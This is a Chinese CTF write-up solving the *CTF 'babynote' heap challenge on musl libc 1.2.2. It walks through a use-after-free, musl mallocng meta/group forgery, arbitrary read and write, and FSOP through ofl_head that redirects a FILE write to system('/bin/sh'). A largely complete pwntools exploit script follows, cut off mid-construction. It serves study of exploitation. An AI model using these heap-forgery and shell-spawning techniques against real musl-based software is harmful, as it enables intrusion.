# starctf babynote musl1.2.2

# 环境以及保护

1
2
3
4
5
6
7
8
9
10
11
dreamcat@ubuntu:~/Desktop/*ctf/babbynote/attachment$ file babynote 
babynote: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-x86_64.so.1, stripped
dreamcat@ubuntu:~/Desktop/*ctf/babbynote/attachment$ checksec --file=babynote
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 2 babynote
dreamcat@ubuntu:~/Desktop/*ctf/babbynote/attachment$ ./libc.so
musl libc (x86_64)
Version 1.2.2
Dynamic Program Loader
Usage: ./libc.so [options] [--] pathname [args]
dreamcat@ubuntu:~/Desktop/*ctf/babbynote/attachment$

第一次做 musl 的题目,有点迷茫。一边查资料一边摸着做。比赛的时候没有任何的突破。

# 探索的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
dreamcat@ubuntu:~/Desktop/*ctf/babbynote/attachment$ ./libc.so babynote 

_/ _/ _/ _/_/_/ _/_/_/_/_/ _/_/_/_/
_/_/_/ _/ _/ _/
_/_/_/_/_/ _/ _/ _/_/_/
_/_/_/ _/ _/ _/
_/ _/ _/ _/_/_/ _/ _/


--------menu-------
1: add a note
2: find a note
3: delete a note
4: forget all notes
5: exit
option:

发现并没有 edit 的功能。

反汇编以后,对于结构体的认知。

1
2
3
4
5
6
7
00000000 babynote        struc ; (sizeof=0x28, mappedto_6)
00000000 name dq ?
00000008 note dq ?
00000010 name_size dq ?
00000018 note_size dq ?
00000020 next dq ?
00000028 babynote ends

存在一个全局数组,储存了 abbynote 的指针,形成一个单链表。采用头插法进行添加。

# add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
int add()
{
babynote *ptr; // [rsp+8h] [rbp-8h]

ptr = (babynote *)calloc(1uLL, 0x28uLL);
ptr->name_size = addname(&ptr->name);
ptr->note_size = addnote(&ptr->note);
ptr->next = (__int64)list;
list = (babynote **)ptr;
return puts("ok");
}
/*--------------------------------------------------------*/
__int64 __fastcall addname(__int64 *ptr)
{
size_t size; // [rsp+18h] [rbp-8h]

printf("name size: ");
size = getnum();
*ptr = (__int64)calloc(1uLL, size); // calloc清空数据
printf("name: ");
return (int)readnode(*ptr, size);
}

unsigned __int64 __fastcall readnode(__int64 a1, unsigned __int64 a2)
{
char buf; // [rsp+13h] [rbp-Dh] BYREF
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
for ( i = 0; a2 > (int)i; ++i )
{
if ( read(0, &buf, 1uLL) != 1 )
return i;
*(_BYTE *)(a1 + (int)i) = buf;
if ( buf == '\n' ) // 一字节\x00溢出
{
*(_BYTE *)((int)i + a1) = 0;
return i;
}
}
return a2;
}
/*--------------------------------------------------------*/
__int64 __fastcall addnote(void *a1)
{
size_t size; // [rsp+18h] [rbp-8h]

printf("note size: ");
size = getnum();
*(_QWORD *)a1 = calloc(1uLL, size);
printf("note content: ");
return (int)readnode(*(_QWORD *)a1, size);
}

add 添加时,ida 分析的结果并不准确,这里永远存在一字节的空溢出。

后来根据网上查到的学习资料。由于 musl 的堆管理比较简单,这个空溢出可以用来修改 chunk 的 idx 位,伪造 meta。

后面再说。

# find

find 会创建一个 name 的 chunk, 然后根据 size 以及 list 保留的 size,cmp,最后比较字符串。如果相同就返回第一个找到的符合要求的 babynote 指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 find()
{
void *ptr; // [rsp+0h] [rbp-20h] BYREF
size_t size; // [rsp+8h] [rbp-18h]
babynote *v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
ptr = 0LL;
size = addname(&ptr);
v3 = cmp(ptr, size); // 确认数据
if ( v3 )
info(v3->note, v3->note_size);
else
puts("oops.....");
free(ptr);
return __readfsqword(0x28u) ^ v4;
}
//输出babynote的信息
int __fastcall info(char *a1, unsigned __int64 a2)
{
int i; // [rsp+1Ch] [rbp-4h]

printf("%#lx:", a2);
for ( i = 0; a2 > i; ++i )
printf("%02x", a1[i]);
return puts(&s);
}

输出的信息也会收到 size 的限制。当时我有看到一个点,就是 i 是有符号的,而 a2 无符号。但是貌似没有什么价值。最后 free 那个临时创建的 chunk.

# delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
unsigned __int64 delete()
{
babynote *v1; // [rsp+8h] [rbp-28h] BYREF
babynote **i; // [rsp+10h] [rbp-20h]
size_t size; // [rsp+18h] [rbp-18h]
babynote *ptr; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
v1 = 0LL;
size = addname(&v1);
ptr = cmp(v1, size); // /删除某个特定的
if ( ptr )
{
if ( ptr != list || list->next )
{
if ( ptr->next )
{
for ( i = &list; ptr != *i; i = &(*i)->next )
;
*i = ptr->next;
} // 解链表
}
else
{
list = 0LL; // 删除头指针,就清空了所有
}
free(ptr->name);
free(ptr->note); // 释放note
free(ptr);
puts("ok");
}
else
{

puts("oops.....");
}
free(v1); // 删除临时结构体
return __readfsqword(0x28u) ^ v5;
}

删除 note 的时候,会遍历链表,找到对应的指针后,会 set 对应结构的 next 指针。p->next = p->next->next. 但是如果 ptr 是尾指针,就不会进行 set. 存在 UAF

# 利用

delete 最后一个,只会 free 对应的堆块,但是倒数第二个 babynote 的 next 没有 reset, 所以就存在了 uaf. 但是 musl 的堆块释放后并不会进入 bins。只有 meta 的所有 avail_maks 都被释放后才会将 meta 释放,并把 meta 放入双链表,dequeue(所以 meta free 后是)

程序的了漏洞在于 delete 时存在的 UAF, 如果我们将其释放后,并对其 note 进行 reuse, 而且用作 babbynote, 就会在 slot 上储存 3 个指针,导致 heapaddr 泄露。但是这里需要布置对的结构。

musl 的堆比较特殊,meta 页是按照顺序申请的,而且与 group 页隔离。当同一个 size 的 meta 分配满之后,如果继续申请,会使用 avail_meta 保留的一个 meta 地址,当然这了 meta 是全新的。而且,一旦申请后,malloc_context active 数组对应位置就会保留正在分配的 meta. 同时会将这两个 meta 的 prev next 设置,形成双链表。如果其中一个 meta 满无法分配,或者被 free,就会解开连表。full_meta 的 prev 和 next 被清零。

# 泄露 libc

回到题目,这里我们可以泄露 group 组的地址,slot 地址是在 libc 的基础上得到的,所以泄露出 heap 的用户区地址就可以得到里 libc 地址。

我们利用堆风水,将链表的最后一个 bebynote 释放,存在 uaf,然后通过构造,拿到他的 note slot 作为一个新的 babynote, 这杨这里就储存了 heapd 的地址,然后泄露。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
add(b'a',b'a')
add(b'b'*0x28,b'b'*0x28)
add(b'b'*0x28,b'b'*0x28)#slot full size is 0x2c
add(b'c'*0x28,b'c'*0x50)#slot full size is 0x6c
free(b'a') #free the first note,the meta(0xc)is freed,
clean() #now meta(0x2c) has one no use,and 1 freed,meta(0xc) heav 3 freed

add(b'a',b'a'*0x28) #we alloc the last slot in meta(0x2c) for abynote,
#.Reuse the 0 solt in meta(0xc) (malloc from bins),
#then reuse the free slot in meta(0x2c)
add(b'b',b'b') #malloc a slot(0x2c) in a new meta2(0x2c,and malloc 2 slot(0xc) in meta(0xc)

free(b'a') #malloc a new slot(0xc),in meta(0xc),then free babynote a,then meta1(0x2c) will have 2 freed slot

add(b'c'*0x28,b'c'*0x28)#malloc 3slot from meta2(0x2c),so meta1(0x2c),have 2 freed slot
add(b'd'*0x28,b'd'*0x28)#
add(b'e'*0x28,b'e'*0x28)#fill up meta2(0x2c)
add(b'f',b'f'*0x50) #malloc a baby note from meta1(0x2c),meta1(0x2c) still have one freed,

find(b'a')
r.recvuntil("0x28:")
ss = b'\x00'*0
for i in range(6):
ss = r.recv(2)+ss
ss = b'0x'+ss
print(ss)
libcbase = int(ss,16) - 0x29fdf0
stdout = libcbase + 0x2a0e00
system = libcbase + libc.sym['system']
__malloc_context = 0x2a1aa0+libcbase

print("libcbase : ",hex(libcbase))
print("system : ",hex(system))
print("stdout : ",hex(stdout))

# 泄露其他地址(meta)

这里,meta1 (0x2c) 还有一个 freed slot ,我们其实就是通过这个泄露的 heap。find 一个很重要的点就是,会 addname. 而且就算查不到也不出错,然后再将其释放,所以我们可以由此来重复利用这个 freed slot。find 的时候,这要 size 合适,就会将它返回给我们,然后在里面写入数据。并释放。之前我们说过,这里可以泄露 heap 地址,是因为他是我们 list 的最后一个 banynote,delete 后上一个 babynote 的 next 指针依旧指向这个 slot,所以导致泄露。

image-20220420203251874

所以我们可以进行任意地址读。将__malloc_context 的地址写在 note 的位置,就可以泄露,同时我们还可以改变 notesize, 控制泄露的长度。

由于 musl 的堆管理机制,虽然与 glibc 完全不一样,但是感觉通过代码分析是更容易的。

# 任意地址写

musl 的任意地址写与 glibc 的 unlink 核心想法一致,只不过是前面的检查方式不一样。我们一步步来分析。

首先 musl 的堆块不会进入 bins,只有 meta 被释放的时候,才会加入 freed_meta 双链表。当 meta 分配出去的 slot 全部被释放的时候,meta 会被释放。

# meta 的 结构

meta 结构一共占用 40bytes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> p *(struct meta*)0x55555730d4f0
$3 = {
prev = 0x55555730d4f0,
next = 0x55555730d4f0,
mem = 0x7f6431216c30,
avail_mask = 262,
freed_mask = 0,
last_idx = 9,
freeable = 1,
sizeclass = 2,
maplen = 0
}


/*
pwndbg> x/8gx 0x55555730d4f0
0x55555730d4f0: 0x000055555730d4f0 0x000055555730d4f0
0x55555730d500: 0x00007f6431216c30 0x0000000000000106
0x55555730d510: 0x00000000000000a9
*/

prev 与 next 分别指向上一个或者下一个 meta(meta 在 freed_meta 链表中)。mem 指向管理 meta 的 group,而 group 又包含的一下简单信息

1
2
3
4
5
6
7
8
pwndbg> p *(struct group*)0x55555730d4f0
$2 = {
meta = 0x55555730d4f0,
active_idx = 16 '\020',
pad = "\324\060WUU\000",
storage = 0x55555730d500 "0l!1d\177"
}

其中很多信息我们不需要管信息,只要知道用户的使用的 slot 数据在 storage 里面。这里提一下,group 其实也可以看作是一个 slot,被另一个 “meta” 管理,这里提到这个是因为,free meta 的时候,除了会释放对应的 slot,还要释放对应的 group。slot 的储存结构也比较有意思,他并不会像 glibc 的 chunk 那样保留过多的本 slot 信息,只会用四字节来保留 slot 与 meta 的关系。

image-20220422192430250

1 这里是用户使用的区域,2 是 group 的信息,包括 meta

1
2
3
4
5
6
7
8
pwndbg> p *(struct group*)0x7f6431216c30
$4 = {
meta = 0x55555730d4f0,
active_idx = 9 '\t',
pad = "\000\000\000\000\200\000",
storage = 0x7f6431216c40 ""
}

然后,3 这,他也只想一个地址,这里你也是一个 meta,与后面 group 的 free 有关。

slot 的堆头会保留与 base 的偏移,以及 slot 在 group 组的编号,通过偏移找到 base,也就是 group 的地址。

下面我们来说检查,要想把 fake_meta 释放掉,要保证 meta 只有一个 freeadble, 可以是只有 1 个 slot,也可以是其他状况,因为这个会涉及 meta 的 avail_mask 以及 freed_mask,我建议是把 freed_mask 写成 0,这样在 free 函数里的一个循环时,直接跳出,减少工作量。

1
2
3
4
5
6
7
8
9
10
11
12
13
// atomic free without locking if this is neither first or last slot
for (;;) {
uint32_t freed = g->freed_mask;
uint32_t avail = g->avail_mask;
uint32_t mask = freed | avail;
assert(!(mask&self));
if (!freed || mask+self==all) break;
if (!MT)
g->freed_mask = freed+self;
else if (a_cas(&g->freed_mask, freed, freed+self)!=freed)
continue;
return;
}

上面提到的根据用户指针找到对应的 meta,在 free 函数里被封装在 get_meta () 函数里,这里也是我们的第一个检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static inline struct meta *get_meta(const unsigned char *p)
{
assert(!((uintptr_t)p & 15));
int offset = *(const uint16_t *)(p - 2);
int index = get_slot_index(p);
if (p[-4]) {
assert(!offset);
offset = *(uint32_t *)(p - 8);
assert(offset > 0xffff);
}
const struct group *base = (const void *)(p - UNIT*offset - UNIT); //UNIT = 16
const struct meta *meta = base->meta;
assert(meta->mem == base);
assert(index <= meta->last_idx);
assert(!(meta->avail_mask & (1u<<index)));
assert(!(meta->freed_mask & (1u<<index)));
const struct meta_area *area = (void *)((uintptr_t)meta & -4096);
assert(area->check == ctx.secret);
if (meta->sizeclass < 48) {
assert(offset >= size_classes[meta->sizeclass]*index);
assert(offset < size_classes[meta->sizeclass]*(index+1));
} else {
assert(meta->sizeclass == 63);
}
if (meta->maplen) {
assert(offset <= meta->maplen*4096UL/UNIT - 1);
}
return (struct meta *)meta;
}

一些 offset,idx 的设置其实有相关的计算方式,但是为了方便,我们伪造的之前,可以把利用程序做一个真实的对布局,然后直接把 group,meta 的结构体中的使用位的参数复制出来。这样就可以很方便的跳过检查。我们将 fake 伪造在一个大的堆块上,fake 会根据 const struct meta *meta = base->meta; 来查询到,下面我们还要伪造一个 meta_area 结构体,这个结构体保留了__malloc_context 的 secret,然后这个 area 是 0x1000 字节对齐的,const struct meta_area *area = (void *)((uintptr_t) meta & -4096);,这个跟我们的 fake_meta 的地址是相关联的,所以我们需要在一个 0x1000 字节对齐的地方布置一个 fake_meta_area, 主要就是把 secret 写进去,绕过检查。这里并不会检查 meta 的 prev 以及 next 是否合法,所以这里有一个任意地址的写。把 prev 地址 + 8 写为 next 的值。释放 slot 的检查基本就结束,因为我们伪造的 slot 的头,以及 fake_meta 都是真实的样子,然后还有一个关键的检查是在 dequeue (unlink) 之后 free_group,这里会将 group 指针作为一个 slot 指针,进行 free。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static struct mapinfo nontrivial_free(struct meta *g, int i)
{
uint32_t self = 1u<<i;
int sc = g->sizeclass;
uint32_t mask = g->freed_mask | g->avail_mask;

if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
// any multi-slot group is necessarily on an active list
// here, but single-slot groups might or might not be.
if (g->next) {
assert(sc < 48);
int activate_new = (ctx.active[sc]==g);
dequeue(&ctx.active[sc], g); //任意地址写
if (activate_new && ctx.active[sc])
activate_group(ctx.active[sc]);
}
return free_group(g);
} else if (!mask) {
assert(sc < 48);
// might still be active if there were no allocations
// after last available slot was taken.
if (ctx.active[sc] != g) {
queue(&ctx.active[sc], g);
}
}

static inline void dequeue(struct meta **phead, struct meta *m) //unlink the meta
{
if (m->next != m) { //meta is freed
m->prev->next = m->next;
m->next->prev = m->prev;
if (*phead == m) *phead = m->next;
} else {
*phead = 0;
}
m->prev = m->next = 0;
}

就是我们上面图片的 3 号位置。这个是 group 对应的 meta, 这里利用同样的手段伪造一个 fake_meta_area 以及一个 meta, 只需要在另外一个 0x1000 字节对齐的空间布置下 secret,后面布置 fake_meta2 就可以了。因为这里的检查也主要是 get_meta (). 最后 free_meta ()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static inline void free_meta(struct meta *m)
{
*m = (struct meta){0};
queue(&ctx.free_meta_head, m);
}
static inline void queue(struct meta **phead, struct meta *m)
//inser m in the front of queue,but it will not change the phead ptr
{
assert(!m->next);
assert(!m->prev);
if (*phead) {
struct meta *head = *phead;
m->next = head;
m->prev = head->prev;
m->next->prev = m->prev->next = m;
} else {
m->prev = m->next = m;
*phead = m;
}
}

没有什么其他检查。

# 利用

回到题目,我们利用 UAF,

1
2
3
4
5
6
7
8
9
add(b'g'*0x28,b'g'*0x28)
add(b'h'*0x28,b'h'*0x28)

fakebabynote = p64( 0x29fdd0 +libcbase)+p64(fakemeta_addr+0x50)+p64(1)+p64(0x28)+p64(0)
add(b'i',fakebabynote)
free(b'g'*0x28)
gdb.attach(r)
add(p64(0x29bd00+libcbase)*2+p64(0x8)+p64(0x8)+p64(libcbase+0x29bd90),fake_meta.ljust(0x2000,b'\x00'))
free(b'b')

group 里的第一个 slot 开始被用作存放 banynote1,next 指针指向 0,babynotelist 头插法之后删掉第一个创建的 babynote,然后堆风水将 slot0(原本作为 babynote)作为 name 或者 note 堆块,可以写入数据,但是因为存在 uaf, 虽然 slot0 作为链表头的 name 或者 note, 但是依旧可以链表的遍历将他看成一个节点,我们还可以将其 next 指针写为我们 kafechunk 的地址,这个 fakechunk 其实是一个 babynote 的 name 或者 note,只是伪造成了 bebynote 的布局,对应 note 之指针指向我们布局好的 fakeslot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

pwndbg> x/64gx 0x7f22b639fc30
0x7f22b639fc30: 0x00005555569254f0 0x0000ff0000000009
0x7f22b639fc40: 0x00007f22b639fc70 0x00007f22b639fca0
0x7f22b639fc50: 0x0000000000000028 0x0000000000000028
0x7f22b639fc60: 0x0000000000000000 0x0000ff0000000000 //下一次申请,这里会被改写
0x7f22b639fc70: 0x6767676767676767 0x6767676767676767
0x7f22b639fc80: 0x6767676767676767 0x6767676767676767
0x7f22b639fc90: 0x6767676767676767 0x0000ff0000000000
0x7f22b639fca0: 0x6767676767676767 0x6767676767676767
0x7f22b639fcb0: 0x6767676767676767 0x6767676767676767
0x7f22b639fcc0: 0x6767676767676767 0x0009830000000000
0x7f22b639fcd0: 0x00007f22b639fd00 0x00007f22b639fd30
0x7f22b639fce0: 0x0000000000000028 0x0000000000000028
0x7f22b639fcf0: 0x00007f22b639fc40 0x000c840000000000
0x7f22b639fd00: 0x6868686868686868 0x6868686868686868
0x7f22b639fd10: 0x6868686868686868 0x6868686868686868
0x7f22b639fd20: 0x6868686868686868 0x000f850000000000
0x7f22b639fd30: 0x6868686868686868 0x6868686868686868
0x7f22b639fd40: 0x6868686868686868 0x6868686868686868
0x7f22b639fd50: 0x6868686868686868 0x0012860000000000
0x7f22b639fd60: 0x00007f22b63a3e20 0x00007f22b639fd90//fakebabynote的地址
0x7f22b639fd70: 0x0000000000000001 0x0000000000000028
0x7f22b639fd80: 0x00007f22b639fcd0 0x0015870000000000
0x7f22b639fd90: 0x00007f22b63a3dd0 0x00007f22b6395070 //fakebabynote,0x00007f22b6395070指向我们伪造的slot
0x7f22b639fda0: 0x0000000000000001 0x0000000000000028
0x7f22b639fdb0: 0x0000000000000000 0x0000ff0000000000
0x7f22b639fdc0: 0x6767676767676767 0x6767676767676767
0x7f22b639fdd0: 0x6767676767676767 0x6767676767676767
0x7f22b639fde0: 0x6767676767676767 0x0000000000000000
0x7f22b639fdf0: 0x0000000000000000 0x0000000000000000
0x7f22b639fe00: 0x0000000000000000 0x0000000000000000
0x7f22b639fe10: 0x0000000000000000 0x0000000000000000
0x7f22b639fe20: 0x0000555556925090 0x0000ff0000000000


我们把 slot 申请成为 name 后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pwndbg> x/64gx  0x7f22b639fc30
0x7f22b639fc30: 0x00005555569254f0 0x0000800000000009
0x7f22b639fc40: 0x00007f22b639fd00 0x00007f22b639fd00
0x7f22b639fc50: 0x0000000000000008 0x0000000000000008
0x7f22b639fc60: 0x00007f22b639fd90 0x0000ff0000000000
0x7f22b639fc70: 0x6767676767676767 0x6767676767676767
0x7f22b639fc80: 0x6767676767676767 0x6767676767676767
0x7f22b639fc90: 0x6767676767676767 0x0000ff0000000000
0x7f22b639fca0: 0x6767676767676767 0x6767676767676767
0x7f22b639fcb0: 0x6767676767676767 0x6767676767676767
0x7f22b639fcc0: 0x6767676767676767 0x0009830000000000
0x7f22b639fcd0: 0x00007f22b639fd00 0x00007f22b639fd30
0x7f22b639fce0: 0x0000000000000028 0x0000000000000028
0x7f22b639fcf0: 0x00007f22b639fc40 0x000c840000000000
0x7f22b639fd00: 0x6868686868686868 0x6868686868686868
0x7f22b639fd10: 0x6868686868686868 0x6868686868686868
0x7f22b639fd20: 0x6868686868686868 0x000f850000000000
0x7f22b639fd30: 0x6868686868686868 0x6868686868686868
0x7f22b639fd40: 0x6868686868686868 0x6868686868686868
0x7f22b639fd50: 0x6868686868686868 0x0012860000000000
0x7f22b639fd60: 0x00007f22b63a3e20 0x00007f22b639fd90
0x7f22b639fd70: 0x0000000000000001 0x0000000000000028
0x7f22b639fd80: 0x00007f22b639fcd0 0x0015870000000000
0x7f22b639fd90: 0x00007f22b63a3dd0 0x00007f22b6395070
0x7f22b639fda0: 0x0000000000000001 0x0000000000000028
0x7f22b639fdb0: 0x0000000000000000 0x0000ff0000000000
0x7f22b639fdc0: 0x6767676767676767 0x6767676767676767
0x7f22b639fdd0: 0x6767676767676767 0x6767676767676767
0x7f22b639fde0: 0x6767676767676767 0x001b890000000000
0x7f22b639fdf0: 0x00007f22b639fc40 0x00007f22b6394020 //babynotelist的头指针,
0x7f22b639fe00: 0x0000000000000028 0x0000000000002030
0x7f22b639fe10: 0x00007f22b639fd60 0x0000000000000000
0x7f22b639fe20: 0x0000555556925090 0x0000ff0000000000

可以看到我们可以通过 b’b’(0x00007f22b63a3dd0 的数据是‘b’) 找到我们的 fake_babynote, 然后释放掉 0x00007f22b6395070 这个伪 slot

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/18gx 0x00007f22b6395070-0x60
0x7f22b6395010: 0x0000000000000000 0x0000000000000000
0x7f22b6395020: 0x00007f22b63a7e20 0x00007f22b63a2e20
0x7f22b6395030: 0x00007f22b6395060 0x00000000000003fe
0x7f22b6395040: 0x00000000000000a9 0x0000000000000000
0x7f22b6395050: 0x00007f22b6396020 0x0000c00000000000
0x7f22b6395060: 0x00007f22b6395020 0x0000800000000009 //伪造的slot堆头
0x7f22b6395070: 0x4141414141414141 0x0000000000000000
0x7f22b6395080: 0x0000000000000000 0x0000000000000000
0x7f22b6395090: 0x0000000000000000 0x0000000000000000

0x7f22b6395060 这个地址就是伪造的 group 的 base 地址,对应的数据就是伪造的 meta 地址

image-20220422200825484

image-20220422200924302

0x00007f22b63a7e20 这里就是我们的目标地址 - 8,0x00007f22b63a2e20 这个地址是我们下一个申请出来的 slot 的真实地址(申请 0x50)mem==base,

下面是伪造的 fake_meta1 以及对应的 fake_meta_area1

image-20220422201357563

最后是 free_group 时的伪造的 fake_meta2 和 fake_meta_area

image-20220422201627965

# FSOP

我们任意地址写的,是 ofl_head,类似于 glibc 的 ——IO__lisl_all, 只不过则合理一般情况下是空的,利用在于 exit 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
_Noreturn void exit(int code)
{
__funcs_on_exit();
__libc_exit_fini();
__stdio_exit();
_Exit(code);
}

void __stdio_exit(void)
{
FILE *f;
for (f=*__ofl_lock(); f; f=f->next) close_file(f);
close_file(__stdin_used);
close_file(__stdout_used);
close_file(__stderr_used);
}


FILE **__ofl_lock()
{
LOCK(ofl_lock);
return &ofl_head;
}

static void close_file(FILE *f)
{
if (!f) return;
FFINALLOCK(f);
if (f->wpos != f->wbase) f->write(f, 0, 0);
if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);
}

我们把 ofl_head 改成我们可以控制的 slot 的地址,就在那里伪造一个 stdout,if (f->wpos != f->wbase) f->write (f, 0, 0); 并满足这里的条件(wpos!=wbase)write 改策划给你 system, 而且会把 fd 作为参数,fd 就是就会指向 flags, 把他写位‘/bin/sh\x00’

正常的 stdout

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p *stdout
$21 = {
flags = 69,
rpos = 0x0,
rend = 0x0,
close = 0x7f22b61557e5 <__stdio_close>,
wend = 0x0,
wpos = 0x0,
mustbezero_1 = 0x0,
wbase = 0x0,
read = 0x0,
write = 0x7f22b615598e <__stdio_write>,
seek = 0x7f22b615597d <__stdio_seek>,
buf = 0x7f22b63a6708 <buf+8> "",
buf_size = 0,
prev = 0x0,
next = 0x0,
fd = 1,
pipe_pid = 0,
lockcount = 0,
mode = -1,
lock = -1,
lbf = -1,
cookie = 0x0,
off = 0,
getln_buf = 0x0,
mustbezero_2 = 0x0,
shend = 0x0,
shlim = 0,
shcnt = 0,
prev_locked = 0x0,
next_locked = 0x0,
locale = 0x0
}

下面是伪造的 stdout

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p * (FILE * const)0x7fc49ff72e20
$3 = {
flags = 1852400175,
rpos = 0x0,
rend = 0x0,
close = 0x0,
wend = 0x0,
wpos = 0x0,
mustbezero_1 = 0x0,
wbase = 0x1 <error: Cannot access memory at address 0x1>,
read = 0x1,
write = 0x7fc49fd1b963 <system>,
seek = 0x7fc49fd1b963 <system>,
buf = 0x0,
buf_size = 0,
prev = 0x0,
next = 0x0,
fd = 0,
pipe_pid = 0,
lockcount = 0,
mode = 0,
lock = 0,
lbf = 0,
cookie = 0x0,
off = 0,
getln_buf = 0x0,
mustbezero_2 = 0x0,
shend = 0x0,
shlim = 0,
shcnt = 0,
prev_locked = 0x0,
next_locked = 0x0,
locale = 0x0
}

最后 exit 结束程序

# 完整 exp

部分注释可能错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
from pwn import *
context.log_level ='debug'
libc = ELF("./libc.so")
r=process(["./libc.so",'./babynote'])
elf = ELF('./babynote')
puts_got = elf.got['puts']


def get8():
ret = b'a'*0
for i in range(8):
ret = r.recv(2)+ret
ret = b'0x'+ret
return int(ret,16)

def get4():
ret = b'a'*0
for i in range(4):
ret = r.recv(2)+ret
ret = b'0x'+ret
return int(ret,16)

def ch(i):
r.sendlineafter("option:",str(i))

def add(name,text):
ch(1)
r.sendlineafter("name size:",str(len(name)))
r.sendafter("name",name)
r.sendlineafter("size",str(len(text)))
r.sendafter("content",text)

def find(name):
ch(2)
r.sendlineafter("name size:",str(len(name)))
r.sendafter("name",name)

def free(name):
ch(3)
r.sendlineafter("name size:",str(len(name)))
r.sendafter("name",name)

def clean(): #only set list=0
ch(4)


gdb.attach(r,'b malloc')
add(b'a',b'a')
add(b'b'*0x28,b'b'*0x28)
add(b'b'*0x28,b'b'*0x28)#slot full size is 0x2c
add(b'c'*0x28,b'c'*0x50)#slot full size is 0x6c
free(b'a') #free the first note,the meta(0xc)is freed,
clean() #now meta(0x2c) has one no use,and 1 freed,meta(0xc) heav 3 freed

add(b'a',b'a'*0x28) #we alloc the last slot in meta(0x2c) for abynote,
#.Reuse the 0 solt in meta(0xc) (malloc from bins),
#then reuse the free slot in meta(0x2c)
add(b'b',b'b') #malloc a slot(0x2c) in a new meta2(0x2c,and malloc 2 slot(0xc) in meta(0xc)

free(b'a') #malloc a new slot(0xc),in meta(0xc),then free babynote a,then meta1(0x2c) will have 2 freed slot

add(b'c'*0x28,b'c'*0x28)#malloc 3slot from meta2(0x2c),so meta1(0x2c),have 2 freed slot
add(b'd'*0x28,b'd'*0x28)#
add(b'e'*0x28,b'e'*0x28)#fill up meta2(0x2c)
add(b'f',b'f'*0x50) #malloc a baby note from meta1(0x2c),meta1(0x2c) still have one freed,

find(b'a')
r.recvuntil("0x28:")
ss = b'\x00'*0
for i in range(6):
ss = r.recv(2)+ss
ss = b'0x'+ss
print(ss)
heap_addr = int(ss,16)
libcbase = heap_addr- 0x29fdf0
stdout = libcbase + 0x2a0e00
system = libcbase + libc.sym['system']
__malloc_context = 0x2a1aa0+libcbase
ofl_head = libcbase+ 0x2a3e28
fake_stdout_addr = libcbase+0x29ee20 #we can malloc0x50 to get

print("libcbase : ",hex(libcbase))
print("system : ",hex(system))
print("stdout : ",hex(stdout))


#here we can leak anywhere
pad = p64(libcbase+0x29fdb0)+p64(__malloc_context)+p64(1)+p64(0x420)+p64(0)
find(pad)
find(b'a')
#leak __malloc_context to get meta addr
r.recvuntil(b"0x420:")
secret =get8()
r.recv(16)
free_meta = get8()
avail_meta = get8()
for i in range(6):
get8()
active=list()
for i in range(48):
active.append(get8())
meta_base = active[0]-0x28
add(b'Z'*0x100,b'Z'*0x100) #fill up the old meta to create new meta3(0x2c)

clean()

fakemeta_addr = 0x291020+libcbase
fake_meta =b'\x00'*(4064)+p64(secret)+p64(0)*3
fake_meta += p64(ofl_head-0x8)+p64(fake_stdout_addr) #fakemta1
fake_meta +=p64(fakemeta_addr+0x40)+p64(0x3fe)+p64(0xa9)+p64(0)


fake_meta +=p64(fakemeta_addr+0x1000)+p64(0x0000c00000000000)
fake_meta +=p64(fakemeta_addr)+p64(0x0000800000000009)
fake_meta +=b"AAAAAAAA"
fake_meta = fake_meta.ljust((0x2000-0x20),b'\x00')
fake_meta +=p64(secret)+p64(0)*3 #fake_area1
